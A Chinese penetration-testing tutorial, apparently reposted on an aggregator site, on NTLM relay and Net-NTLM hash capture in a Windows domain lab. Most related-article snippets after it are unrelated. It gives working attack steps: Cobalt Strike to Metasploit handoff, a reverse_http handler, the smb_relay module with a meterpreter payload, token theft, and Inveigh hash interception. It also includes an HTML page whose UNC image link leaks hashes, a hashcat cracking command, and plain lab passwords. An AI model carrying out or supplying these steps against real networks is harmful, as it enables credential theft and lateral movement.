内网安全:NTLM-Relay

目录

NTLM认证过程以及攻击面

NTLM Relay攻击

NTLM攻击总结

实验环境说明

域横向移动:NTLM中继攻击

攻击条件

实战一:NTLM中继攻击-CS转发上线MSF

原理示意图

一. CS代理转发

二. MSF架设路由

三. 适用smb_relay模块进行中继攻击

域横向移动:Net NTLM Hash劫持破解

一. 监听拦截

二. 触发拦截

三. 破解密钥

补充:这种方式不仅可以适用smb协议,还可以走其他的


NTLM认证过程以及攻击面

非域中

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

域中,在第4步有所不同,如果是在域环境中,那么认证过程会经过域控制器:

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
  5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

  • 针对NTLM Hash的攻击:PTH,信息收集
  • 针对Net NTLM Hash的攻击:暴力破解明文密码,利用Net-NTLM Hash中继攻击

Pass The Hash:哈希传递攻击,通过抓取主机上的Hash,传递他们进行攻击,不需要明文密码。

利用NTLM进行信息收集:通过CS,命令就可以达到目的,没有意义。

Net-NTLM Hash破解,暴力破解得到明文密码

NTLM Relay:利用Net-NTLM Hash进行中继攻击

PTH的攻击条件需要NTLM-Hash,而后两种则是通过Net-NTLM Hash进行攻击的

如果计算机的修改过注册表,打过补丁,都有可能造成明文密码,Hash提取不到。我们可以尝试获得Net NTLM Hash进行攻击利用。

NTLM Relay攻击

这种攻击方式可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。

Relay攻击要涉及到NTLM认证和Net-NTLM Hash

NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。

Net NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。客户端在请求服务时需要的NTLM Hash是服务端密码,Net NTLM Hash的生成需要服务端密码的NTLM Hash和challenge,用户名得到的。

NTLM攻击总结

有NTLM Hash,直接PTH;没有NTLM Hash,尝试抓取Net NTLM Hash,暴力破解明文密码,中继攻击。

实验环境说明

DC:192.168.3.21      

        本地管理员:administrator Admin12345

        域账户:god/administrator Admin12345

SQLserver:192.168.3.32

        本地管理员:administrator admin!@#45

        域账户:god/dbadmin admin!@#45

Mary-PC:192.168.3.25

        本地管理员:administrator admin!@#45

        域账户:god/mary admin!@#45

webserver:192.168.3.31    192.168.46.128(出网)

        本地管理员:administrator admin!@#45

        域账户:god/webadmin admin!@#45

Kali:架设MSF 192.168.46.166

46网段是出网的,3网段是内网。

域横向移动:NTLM中继攻击

一句换概括:拿已控制主机的本地管理员的NTLM Hash进行赌狗行为碰撞别的主机进行登录。

一般不会拿域账户的NTLM Hash,因为没有意义,权限太低。

攻击条件

在内网一台计算机上执行下面这条命令,会发生什么事情?此时该主机是管理员登录

dir \\192.168.3.21\c$
dir \\192.168.3.32\c$

这时通过SMB协议访问对方主机的C盘,这是一个访问对方主机服务的过程,是需要NTLM验证的,这里这台主机实际上并没有192.168.3.21的NTLM Hash或者密码的,在内存中会加载已有的NTLM Hash,也就是自己的(该命令会默认拿自己的),用这一套NTLM Hash去做NTLM认证。

一般来说是会失败的,但是这里却成功了。访问192.168.3.32失败,下面的却成功了。

也就是说该计算机的NTLM Hash和192.168.3.32主机的NTLM Hash是一样的。

这个Net NTLM Hash中继攻击本质就是利用自己计算机的NTLM Hash(或者说账号密码)进行碰撞,因为这台机器虽然我们拿到了权限,但是NTLM Hash窃取不到,尝试通过这种赌博行为攻击其它主机。

在实验环境中,用webserver这台主机的管理员账号密码是可以配置所有主机并成功的。

实战一:NTLM中继攻击-CS转发上线MSF

首先是获得了一台主机webserver的权限

原理示意图

CS做权限移交,利用MSF进行渗透,CS上每次功能

MSF做一个转发工作,配置转发对象

攻击原理:用已经拿下权限的主机利用administrator权限去比对任意域内主机,比对成功就可以访问登录对方主机,就可以直接上线MSF拿到对象的administrator权限

一. CS代理转发

转发到内网的一台Kali上,上面架设有MSF,实际环境也可,转发外网。

配置监听器,CS流量转发MSF 192.168.46.166(出网)2222端口

 转发这个监听器

spawn l-msf

二. MSF架设路由

MSF监听,上线

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 2222
run

添加路由

run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回

MSF可以攻击到内网3网段

三. 适用smb_relay模块进行中继攻击

设置攻击目标为192.168.3.32

重发模块:

use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
set lhost 192.168.46.166   //设置本地IP
set autorunscript post/windows/manage/migrate

建立正向连接

set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run

这里是一个system权限,我们需要的administrator权限,降权

CS降权

查看进程

记录下pid,通过system进行令牌窃取,权限降为administrator

MSF降权

get uid
ps

在CS上执行命令

shell dir \\192.168.46.166\c$

 这条命令会被MSF中继模块再次进行转发,相当于是192.168.3.31对192.168.3.32发起请求

dir \\192.168.3.32\c$

也可以在MSF上执行,Meterpreter上输出shell,弹出192.168.3.31的cmd

攻击成功,192.168.3.32上线MSF

192.168.3.32上线MSF,因为采用的是正向连接,也就是192.168.3.31正向连接192.168.3.32

上线!!!

域横向移动:Net NTLM Hash劫持破解

条件:被控主机当前管理员权限

因为下面是利用工具,所以需要足够的运行权限

项目地址:https://github.com/Kevin-Robertson/Inveigh

这里是诱导域内主机访问我们这台已经拿下权限的主机192.168.3.31,对方会把自己的Hash发给我们,直接拦截下来,Net NTLM Hash被捕捉,只要是访问192.168.3.31,就会被拿下Hash,这Hash可能是域控的,本地管理员的,域用户的

一. 监听拦截

上传程序到对方主机,或者挂代理(不推荐)程序本身就不大,避免数据丢失

工具放在192.168.3.31被控主机上执行

Inveigh.exe

获取到的是NET NTLM HASH V1或V2

二. 触发拦截

令别的主机dir webserver,这里是拿域控的主机进行演示

dir \\192.168.3.31\c$

拦截到Hash 

会保存在当前目录

这个一般是要配合钓鱼,和前面的Exchange服务利用进行结合

<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><img src="file:///\\192.168.3.32\2">
</body>
</html>

三. 破解密钥

破解域控的Hash,得到域控的明文密码

hashcat -m 5600 hash pass.txt --show

得到域控用户的Hash明文 Admin12345

补充:这种方式不仅可以适用smb协议,还可以走其他的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/248451.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JavaWeb,Vue的学习(下)

Router路由 路由&#xff08;Router&#xff09;简介 定义&#xff1a;路由就是根据不同的 URL 地址展示不同的内容或页面。通俗理解&#xff1a;路由就像是一个地图&#xff0c;我们要去不同的地方&#xff0c;需要通过不同的路线进行导航。 路由的作用 单页应用程序&…

【Java程序设计】【C00184】基于SSM的旅游网站管理系统(论文+PPT)

基于SSM的旅游网站管理系统&#xff08;论文PPT&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于ssm的旅游网站管理系统 本系统分为前台用户、后台管理员2个功能模块。 前台用户&#xff1a;当游客打开系统的网址后&#xff0c;首先看到的就是首…

手机屏幕生产厂污废水处理需要哪些工艺设备

随着手机行业的快速发展&#xff0c;手机屏幕生产厂的规模也越来越大&#xff0c;但同时也带来了大量的污废水排放问题。为了保护环境和人类的健康&#xff0c;手机屏幕生产厂需要采取适当的工艺设备来处理污废水。本文将介绍手机屏幕生产厂污废水处理所需的工艺设备。 首先&am…

LeetCode —— 43. 字符串相乘

&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️Take your time ! &#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️…

OpenCV 2 - 矩阵的掩膜操作

1知识点 1-1 CV_Assert(myImage.depth() == CV_8U); 确保输入图像是无符号字符类型,若该函数括号内的表达式为false,则会抛出一个错误。 1-2 Mat.ptr(int i = 0); 获取像素矩阵的指针,索引 i 表示第几行,从0开始计行数。 1-3 const uchar* current = mylmage.ptr(row); 获得…

锁定 MinIO 操作员权限

虽然您可以使用 deployment 或 statefulset 在 Kubernetes 上部署 MinIO&#xff0c;但在 Kubernetes 上部署 MinIO 的推荐方法是通过官方的 MinIO Operator。为什么&#xff1f; MinIO Operator 简化了 Kubernetes 集群上的 MinIO 管理&#xff0c;不仅在初始部署期间&#x…

【LVGL源码移植环境搭建】

LVGL源码移植&环境搭建 ■ LVGL源码移植■ 下载LVGL源码■ 修改LVGL文件夹■■■■ 视频链接 Ubuntu模拟器环境建置 ■ LVGL源码移植 ■ 下载LVGL源码 LVGL源码 我们以选择v8.2.0为例&#xff0c;选择8.2.0下载 ■ 修改LVGL文件夹 1.我们只需要关注这5个文件即可&…

世界坐标系转换为平面地图坐标

将世界坐标系转换为平面地图坐标的方法通常涉及地图投影。地图投影是一种将地球(一个三维球体)上的点转换为平面(二维)地图上的点的方法。 这里介绍几种常见的地图投影方法: 墨卡托投影(Mercator Projection): 这是最常见的投影方式之一,尤其用于航海地图。它将经纬度…

解决:AttributeError: ‘str’ object has no attribute ‘capabilities’

解决&#xff1a;AttributeError: ‘str’ object has no attribute ‘capabilities’ 文章目录 解决&#xff1a;AttributeError: str object has no attribute capabilities背景报错问题报错翻译报错位置代码报错原因解决方法方法一&#xff1a;使用Service对象方法二&#x…

线性代数----------学习记录

线性代数发展历程 &#xff08;1&#xff09;线性方程组&#xff1a;例如二元一次方程组&#xff1b; &#xff08;2&#xff09;行列式&#xff1a;determinant,克莱默&#xff0c;莱布尼兹&#xff1b; &#xff08;3&#xff09;矩阵&#xff1a;方程个数与未知数的个数可…

vxe-table3.0的表格树如何做深层查找,返回搜索关键字的树形结构

vxe-table2.0版本是提供深层查找功能的&#xff0c;因为他的数据源本身就是树形结构&#xff0c;所以深层查找查询出来也是树形结构。 但是vxe-table3.0版本为了做虚拟树功能&#xff0c;将整个数据源由树形垂直结构变成了扁平结构&#xff0c;便不提供深层查询功能&#xff0c…

WAP在线封装APP工具:革新移动体验的技术

一、融合式设计&#xff1a;打破原生与网页应用的界限WAP封装App工具的最新版本已经能够实现无缝融合网页内容与原生应用功能。这些工具不仅仅是简单地将网页“包装”成APP&#xff0c;而是通过创新的融合式设计&#xff0c;让用户在使用过程中几乎感受不到两者之间的差异。例如…

综合案例 - 商品列表

文章目录 需求说明1.my-tag组件封装&#xff08;完成初始化&#xff09;2.may-tag封装&#xff08;控制显示隐藏&#xff09;3.my-tag组件封装&#xff08;v-model处理&#xff1a;信息修改&#xff09;4.my-table组件封装&#xff08;整个表格&#xff09;①数据不能写死&…

工业交换机的详细介绍

工业交换机是一种用于工业领域的网络通信设备&#xff0c;其设计专注于满足工业环境下的高可靠性、高带宽和低延迟的要求。与传统的家用交换机相比&#xff0c;工业交换机具有更强的耐高温、抗震动、抗干扰等特性&#xff0c;能够适应恶劣的工业环境。同时&#xff0c;工业交换…

宠物处方单子怎么开,宠物门诊处方管理软件教程

宠物处方单子怎么开&#xff0c;宠物门诊处方管理软件教程 一、前言 宠物店电子处方软件操作教程以 佳易王宠物店电子处方管理系统V16.0为例说明。 如图&#xff0c;在开处方的时候&#xff0c;点击导航栏菜单&#xff0c;兽医处方按钮 点击 增加新单&#xff0c;填写宠物及…

大模型重塑车载语音交互:赛道巨头如何引领新周期?

车载语音交互赛道正进入新一轮竞争周期。 高工智能汽车注意到&#xff0c;传统车载语音交互赛道当前基本已进入成熟期&#xff0c;主要为任务型助手&#xff0c;包括从单轮对话到多轮对话&#xff0c;单音区到多音区&#xff0c;从单一的导航、多媒体娱乐等座舱功能扩展智能驾…

正则表达式(RE)

什么是正则表达式 正则表达式&#xff0c;又称规则表达式&#xff08;Regular Expression&#xff09;。正则表达式通常被用来检索、替换那些符合某个规则的文本 正则表达式的作用 验证数据的有效性替换文本内容从字符串中提取子字符串 匹配单个字符 字符功能.匹配任意1个…

在centos 7 中 安装 配置 并 远程连接 MySQL5.7

目录 安装MySQL 1.卸载CentOS7系统自带的mariadb 2.安装依赖库 3.上传MySQL并解压 4.安装MySQL 配置MySQL 1.修改登录密码 2.修改字符集 3.配置远程连接 前言&#xff1a; 安装MySQL版本&#xff1a;mysql-5.7.30-1.el7.x86_64.rpm-bundle 文件需求后台私信 以下7条为…

(蓝桥杯每日一题)求最长回文串

问题描述 给出一个长度为 n 的小写字符串&#xff0c;求一个最长的子串 S&#xff0c;满足SXY,X&#xff0c;Y>1&#xff0c;且X,Y 均为回文串。 输入格式 输入包括一行: 第一行是一个长度为 n 的小写字符串。 输出格式 输出包括一行&#xff1a; 一行一个整数&#xff0c;表…

STM32连接阿里云物联网平台

文章目录 引言一、STM32连接阿里云物联网平台思路二、ESP8266烧录固件三、使用AT指令连接阿里云物联网平台四、STM32环形串口缓冲区驱动程序五、STM32连接阿里云驱动程序 引言 连续写了两篇关于阿里云连接的文章&#xff0c;都是使用Arduino ESP8266 & Arduino ESP32的方式…